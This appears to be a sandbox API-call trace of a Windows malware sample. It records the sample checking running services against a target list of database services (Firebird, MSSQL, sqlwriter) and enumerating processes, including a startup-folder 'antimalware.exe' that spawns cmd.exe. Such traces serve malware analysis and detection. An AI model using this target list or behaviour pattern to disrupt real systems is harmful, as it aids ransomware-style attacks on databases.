	[0178.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0178.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0178.221] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0178.221] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0178.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0178.221] lstrlenW (lpString="ProfSvc") returned 7
	[0178.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0178.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0178.221] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0178.221] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0178.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0178.222] lstrlenW (lpString="RpcEptMapper") returned 12
	[0178.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0178.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0178.222] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0178.222] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0178.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0178.222] lstrlenW (lpString="RpcSs") returned 5
	[0178.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0178.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0178.222] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0178.222] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0178.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0178.222] lstrlenW (lpString="SamSs") returned 5
	[0178.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0178.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0178.222] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0178.222] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0178.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0178.222] lstrlenW (lpString="Schedule") returned 8
	[0178.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0178.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0178.222] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0178.222] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0178.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0178.222] lstrlenW (lpString="SecurityHealthService") returned 21
	[0178.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0178.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0178.222] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0178.222] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0178.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0178.223] lstrlenW (lpString="SENS") returned 4
	[0178.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0178.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0178.223] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0178.223] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0178.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0178.223] lstrlenW (lpString="ShellHWDetection") returned 16
	[0178.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0178.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0178.223] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0178.223] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0178.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0178.223] lstrlenW (lpString="Spooler") returned 7
	[0178.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0178.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0178.223] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0178.223] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0178.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0178.223] lstrlenW (lpString="StateRepository") returned 15
	[0178.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0178.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0178.223] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0178.223] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0178.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0178.223] lstrlenW (lpString="SysMain") returned 7
	[0178.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0178.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0178.223] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0178.223] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0178.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0178.224] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0178.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0178.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0178.224] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0178.224] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0178.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0178.224] lstrlenW (lpString="Themes") returned 6
	[0178.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0178.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0178.224] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0178.224] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0178.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0178.224] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0178.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0178.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0178.224] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0178.224] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0178.224] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7091e0 | out: hHeap=0x6a0000) returned 1
	[0178.224] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x274
	[0178.230] Process32FirstW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0178.231] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0178.231] lstrlenW (lpString="System") returned 6
	[0178.231] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0178.232] lstrlenW (lpString="smss.exe") returned 8
	[0178.232] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0178.366] lstrlenW (lpString="csrss.exe") returned 9
	[0178.366] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0178.367] lstrlenW (lpString="wininit.exe") returned 11
	[0178.367] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0178.368] lstrlenW (lpString="csrss.exe") returned 9
	[0178.368] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0178.369] lstrlenW (lpString="winlogon.exe") returned 12
	[0178.369] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0178.369] lstrlenW (lpString="services.exe") returned 12
	[0178.369] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0178.370] lstrlenW (lpString="lsass.exe") returned 9
	[0178.370] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0178.371] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0178.371] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0178.372] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0178.372] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0178.373] lstrlenW (lpString="svchost.exe") returned 11
	[0178.373] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0178.374] lstrlenW (lpString="svchost.exe") returned 11
	[0178.374] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0178.374] lstrlenW (lpString="dwm.exe") returned 7
	[0178.375] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0178.375] lstrlenW (lpString="svchost.exe") returned 11
	[0178.375] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0178.376] lstrlenW (lpString="svchost.exe") returned 11
	[0178.376] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0178.377] lstrlenW (lpString="svchost.exe") returned 11
	[0178.377] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0178.378] lstrlenW (lpString="svchost.exe") returned 11
	[0178.378] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0178.379] lstrlenW (lpString="svchost.exe") returned 11
	[0178.379] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0178.379] lstrlenW (lpString="svchost.exe") returned 11
	[0178.379] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0178.380] lstrlenW (lpString="svchost.exe") returned 11
	[0178.380] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0178.381] lstrlenW (lpString="svchost.exe") returned 11
	[0178.381] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0178.382] lstrlenW (lpString="svchost.exe") returned 11
	[0178.382] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0178.383] lstrlenW (lpString="svchost.exe") returned 11
	[0178.383] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0178.384] lstrlenW (lpString="spoolsv.exe") returned 11
	[0178.384] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0178.384] lstrlenW (lpString="svchost.exe") returned 11
	[0178.385] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0178.385] lstrlenW (lpString="audiodg.exe") returned 11
	[0178.385] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0178.386] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0178.386] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0178.387] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0178.387] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0178.388] lstrlenW (lpString="sihost.exe") returned 10
	[0178.388] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0178.388] lstrlenW (lpString="Memory Compression") returned 18
	[0178.389] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0178.390] lstrlenW (lpString="svchost.exe") returned 11
	[0178.390] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0178.390] lstrlenW (lpString="taskhostw.exe") returned 13
	[0178.391] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0178.391] lstrlenW (lpString="msoia.exe") returned 9
	[0178.391] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0178.392] lstrlenW (lpString="explorer.exe") returned 12
	[0178.392] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0178.393] lstrlenW (lpString="SearchUI.exe") returned 12
	[0178.393] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0178.394] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0178.394] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0178.395] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0178.395] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0178.395] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0178.396] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x9b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0178.396] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0178.396] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0178.397] lstrlenW (lpString="dllhost.exe") returned 11
	[0178.397] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0178.398] lstrlenW (lpString="dllhost.exe") returned 11
	[0178.398] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0178.399] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0178.399] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xfb4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0178.400] lstrlenW (lpString="cmd.exe") returned 7
	[0178.400] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0178.400] lstrlenW (lpString="cmd.exe") returned 7
	[0178.400] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xfc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0178.401] lstrlenW (lpString="conhost.exe") returned 11
	[0178.401] Process32NextW (in: hSnapshot=0x274, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xfc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0178.402] CloseHandle (hObject=0x274) returned 1
	[0178.402] Sleep (dwMilliseconds=0x1f4) 
	[0179.051] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6ddf80
	[0179.051] EnumServicesStatusExW (in: hSCManager=0x6ddf80, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 0
	[0179.051] GetLastError () returned 0xea
	[0179.052] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1bc4) returned 0x3cf50d8
	[0179.052] EnumServicesStatusExW (in: hSCManager=0x6ddf80, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3cf50d8, cbBufSize=0x1bc4, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3cf50d8, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 1
	[0179.053] CloseServiceHandle (hSCObject=0x6ddf80) returned 1
	[0179.053] lstrlenW (lpString="Appinfo") returned 7
	[0179.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
